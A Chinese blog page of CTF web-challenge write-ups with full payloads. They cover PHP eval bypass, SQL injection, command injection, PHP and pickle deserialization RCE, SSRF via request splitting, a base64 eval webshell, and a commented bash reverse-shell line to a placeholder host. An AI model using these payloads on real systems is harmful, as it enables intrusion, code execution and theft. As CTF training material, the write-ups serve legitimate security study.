}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 60) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

这题和前面有一题一样,但是这题限制了60的长度:

payload:

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

(is_nan^(6).(4)).(tan^(1).(5))结果是_GET
$pi=_GET,$$pi=$_GET
php中,get方法的[]可以用{}替代,$pi{0}($pi{1})$_GET{0}($_GET{1})总的来看就是system(cat /flag)

[NewStarCTF 2023 公开赛道]ez_sql

这里有个id参数,感觉是可以拿来注入

这里字段数为5,

库:

?id=1'Union Select 1,2,3,4,database()--+

表:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= database()--+

列:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'here_is_flag'--+

出:id=1' Union Select 1,2,3,4,GROUP_CONCAT(flag)FROM here_is_flag--+

[DDCTF 2019]homebrew event loop

给了源码:

from flask import Flask, session, request, Response
import urllibapp = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'def FLAG():return '*********************'  # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5:session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix)+len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException:passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"event = request.event_queue[0]request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')):continuefor c in event:if c not in valid_event_chars:breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')args = get_mid_str(event, action+';').split('#')try:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None:resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None:resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '':resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix+'/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0:return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume:raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:# show_flag_function has been disabled, no worriestrigger_event('func:show_flag;' + FLAG())trigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')
flask接受参数的方式

我们来看一下,这里出flag的因该是get_flag_handler,条件是if session['num_items'] >= 5:

然后我们看看这个num_items

获取:

这里就存在一个漏洞,这里是如果session的points小于point_to_consume,就减去

然后看看路由:

这里就是如果num_items没有,让points为3,num_items为0,然后调用了一个trigger_event,返回了一个 execute_event_loop()

def execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"event = request.event_queue[0]request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')):continuefor c in event:if c not in valid_event_chars:breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')args = get_mid_str(event, action+';').split('#')try:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None:resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None:resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '':resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp

这里有个eval:

action的话会直接返回第一个;之后的内容
参数这里用#做了一下分割,并返回一个列表到args里 ,所以我们就是这样,

先执行buy_handle,然后紧接着get_flag, 把consume_point_function放到最后

若让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后

?action:trigger_event%23;action:buy;5%23action:get_flag;

session=.eJyNjk1rg0AYhP9K2XMO61dFwUsrCtIoSa27-5ZS1E393I2gJtbgf48UWijpobeBmXlmLqg9Fsh-vaC7DNmIkRCnxBojuf9MCZdAgw-g0GZyV0eqV3O_PWV1V3HamOFzWDJt32Wqfg9qgqkKPSO5iZbNDU4EyiHuldW6cXjLPUtkviejs-Og5e2nDTIZ2dzVmWrMnCgt1R5OKTFwNL84f5AkdEBzc000QIsv0m_QnPqW9v0SxFSC1uvgljUQZoQVnpgI2qd4N0VxPkQuL7ePWGcCqtAtMKub8zZOrP8NIzmK92o4iB7ZeIO6YyWHVWrLFYecdfA.aKPmOg.p8N3i0VjdyYhN0MEKeHlUPp1Mw0

[羊城杯 2020]Blackcat

打开之后有个音频,下载后用010打开,发现有源码:

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('x');
}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('x');
}echo exec("nc".$_POST['One-ear']);

这里直接echo exec了,所以One-ear在前面;就直接rce,然后看看前面怎么搞

我们直接让White-cat-monitor为数组,所以

就为空,

那么

这里的参数实际上就是 sha256 , One-ear的值 , null,直接求:

<?php
$hh = hash_hmac('sha256',';ls /', null);
echo $hh;

然后尝试一下ls /

Black-Cat-Sheriff=34ba546aa2ba7adbb3a0c6f574d24f1dccd17d87b8d48f2b240df9e366f383c3&One-ear=;ls /&White-cat-monitor[]=1

就显示出来一个var

还是不行,啊?

然后看了其他师傅的博客,好像就是这样,但是buu提交错误,好吧

[NewStarCTF 2023 公开赛道]Unserialize?

<?phpclass evil {private $cmd='ls';}$a=new evil();echo urlencode(serialize($a));?>

欧克了

unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A9%3A%22sort%20%2Fth%2A%22%3B%7D

出flag

[GYCTF2020]Node Game

通过拆分攻击实现的SSRF攻击

先看看源码

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');    // morgan是express默认的日志中间件
const multer = require('multer');    // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";if( action.includes("/") || action.includes("\\") ){    // action中不能含有/或\\字符res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file);    // 渲染pug模板引擎res.send(html);
});app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {    // remoteAddress必须是本地IP,所以需要进行ssrfobj.msg="only admin's ip can use it"res.send(JSON.stringify(obj));    // JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。return }fs.readFile(req.files[0].path, function(err, data){if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";    var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_name    // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越if(!fs.existsSync(__dirname + file_path)){    // 以同步的方法检测目录是否存在try {fs.mkdirSync(__dirname + file_path)    // 如果目录不存在则创建目录} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)    // 将要上传的文件写入文件到指定的目录中(实现文件上传)obj = {msg: 'upload success',filename: file_path + file_name} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj));    }})
})app.get('/source', function(req, res) {res.sendFile(path.join(__dirname + '/template/source.txt'));
});app.get('/core', function(req, res) {var q = req.query.q;var resp = "";    // 用来接收请求的数据if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) {resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");}
})function blacklist(url) {    // 检测url中的恶意字符,检测到的返回true。可以通过字符串拼接绕过。var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];var arrayLen = evilwords.length;for (var i = 0; i < arrayLen; i++) {const trigger = url.includes(evilwords[i]);if (trigger === true) {return true}}
}var server = app.listen(8081, function() {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port)
})

不会,看看大佬的博客:

/:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染

/source:回显源码

/file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。

/core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过

我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的

脚本:

import urllib.parse
import requestspayload = ''' HTTP/1.1
Host: x
Connection: keep-alivePOST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive {}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)session = requests.Session()
session.trust_env = False
session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)

取自

[NewStarCTF 2023 公开赛道]泄漏的秘密

robots.txt

然后扫到www.zip

拼一下就好了

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

[HFCTF 2021 Final]easyflask

session伪造+pickle反序列化

有个这个

然后题目又是flask

访问:

看到源码,整理一下:

#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, request, render_template, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "*******"User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET',))
def index_handler():if not session.get('u'):u = pickle.dumps(User())session['u'] = ureturn "/file?file=index.js"@app.route('/file', methods=('GET',))
def file_handler():path = request.args.get('file')path = os.path.join('static', path)if not os.path.exists(path) or os.path.isdir(path) \or '.py' in path or '.sh' in path or '..' in path or "flag" in path:return 'disallowed'with open(path, 'r') as fp:content = fp.read()return content@app.route('/admin', methods=('GET',))
def admin_handler():try:u = session.get('u')if isinstance(u, dict):#如果u对应的值是字典,会读取  u.bu = b64decode(u.get('b'))u = pickle.loads(u)#pickle反序列化except Exception:return 'uhh?'if u.is_admin == 1:return 'welcome, admin'else:return 'who are you?'if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

要我们找一个secret_key,那就试试/proc/self/environ

找到了

secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requestsurl = "http://5dce76ce-7856-4683-a41a-1500554f465f.node5.buuoj.cn:81"#url = "http://127.0.0.1:80"def get_secret_key():target = url + "/file?file=/proc/self/environ"r = requests.get(target)#print(r.text)key = re.findall('key=(.*?).OLDPWD',r.text)return str(key[0])#secret_key = get_secret_key()
secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"print(secret_key)class FakeApp:secret_key = secret_keyclass User(object):def __reduce__(self):import oscmd = "cat /flag > /tmp/b"return (os.system,(cmd,))exp = {"b":base64.b64encode(pickle.dumps(User()))
}#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(#{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}#{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}#{'u':exp}
)
print(cookie)headers = {"Accept":"*/*","Cookie":"session={0}".format(cookie)
}req = requests.get(url+"/admin",headers=headers)print(req.text)req = requests.get(url+"/file?file=/tmp/b",headers=headers)print(req.text)

找到一个脚本,或者直接生成cookie访问/admin也行

import os
import pickle
import base64User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,'__reduce__': lambda o: (os.system,("cat /flag > /tmp/a",))#'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'",))
})u = pickle.dumps(User())
print(base64.b64encode(u))

不过要在linux环境下运行,windows不行

[2020 新春红包题]1

看看源码:

<?php
error_reporting(0);class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip(['path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {if (is_array($object)) {$contents[$path] = array_intersect_key($object, $cachedProperties);}}return $contents;}public function getForStorage() {$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);}public function __destruct() {if (!$this->autosave) {$this->save();}}
}class B {protected function getExpireTime($expire): int {return (int) $expire;}public function getCacheKey(string $name): string {// 使缓存文件名随机$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, -strlen('.php')) === '.php') {die('?');}return $cache_filename;}protected function serialize($data): string {if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return $filename;}return null;}}if (isset($_GET['src']))
{highlight_file(__FILE__);
}$dir = "uploads/";if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);

有点眼熟

入点:

有个save方法,定位:

这里是最终调用了set,set在B中

可以看到参数对应:

$name->key

$value->contents

$expire->expire

然后这里content来自:

然后看看set

这题的逻辑和ezpop一样,但是文件有限制:

会将文件名随机,并且还过滤了.php后缀

我们可以用:

$this->key = /../1.php/.

因为在做路径处理的时候,会递归的删除掉路径中存在的 /.从而传入的东西是./1.php,而传入之前,是 /../1.php/.,通过目录穿越,让文件名固定,并且绕过.php后缀的检查

然后exit的话就和上面那题一样base64绕

这里就直接用脚本

<?php
class A{protected $store;protected $key;protected $expire;public $cache =[];public $complete = true; public function __construct () {$this->store = new B();$this->key = '/../penson.php/.';$this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];}}
class B{public $options = ['serialize' => 'serialize','prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',];
}
$a = new A();
echo urlencode(serialize($a));?>

然后访问/uploads/1.php

[watevrCTF-2019]Supercalc

ssti报错注入

抓包看看:

有个flask session

这里如果正常用{{}}不行,用ssti报错注入

1/0#{{config}}

看看能不能找到key:

cded826a1e89925035cc05f0907855f7

payload:__import__("os").popen("cat flag.txt").read()

然后就是伪造session来ssti,但是很奇怪

我这里怎么搞都出不来,其他师傅这里就直接出了,不知道哪里出问题了shuati

http://www.dtcms.com/a/354114.html

相关文章:

  • Vue2 基础用法
  • CVPR深度学习研究指南:特征提取模块仍是论文创新难点
  • 吴恩达机器学习作业二:线性可分逻辑回归
  • CMake构建学习笔记21-通用的CMake构建脚本
  • Liunx内核驱动
  • Java中StringBuilder原理以及使用
  • D4145低功耗GFCI接地故障控制芯片介绍
  • 题目—移除元素
  • 作业帮,途虎养车,得物,途游游戏,三七互娱,汤臣倍健,游卡,快手26届秋招内推
  • JUC多线程个人笔记
  • 【DC工具GUI入门】
  • APP测试全流程以及测试点
  • 【开题答辩全过程】以 基于SpringBoot的流浪动物领养系统的设计与实现 为例,包含答辩的问题和答案
  • 从Java到Go:初遇Go语言的震撼体验
  • 力扣 30 天 JavaScript 挑战 第41天 (第十二题)对异步操作,promise,async/await有了更深理解
  • 【Linux实时内核机制】ww_rt_mutex 的contending_lock异常问题
  • android/java中主线程和子线程的详解
  • Nano Banana揭秘:Google Gemini 2.5 Flash Image正式发布 | AI图像编辑新时代
  • 内网应用如何实现外网访问?外地通过公网地址访问内网服务器的设置方法
  • 动态规划:青蛙跳台阶实践
  • H20 性能表现之 Kimi-K2
  • 【git】:gitee项目管理vs2019
  • 装饰器进阶与设计模式
  • Linux入门教程 第十五章 Linux 系统调优工具
  • 【工具篇】github/huggingface 镜像源总结
  • 嵌入式系统学习Day24(线程)
  • Custom SRP - Shadow Masks
  • Axure:如何将SVG转换为形状
  • leetcode 155 官方golang标准答案错误
  • Java Lambda 处理日期时间 根据区间找出区间内集合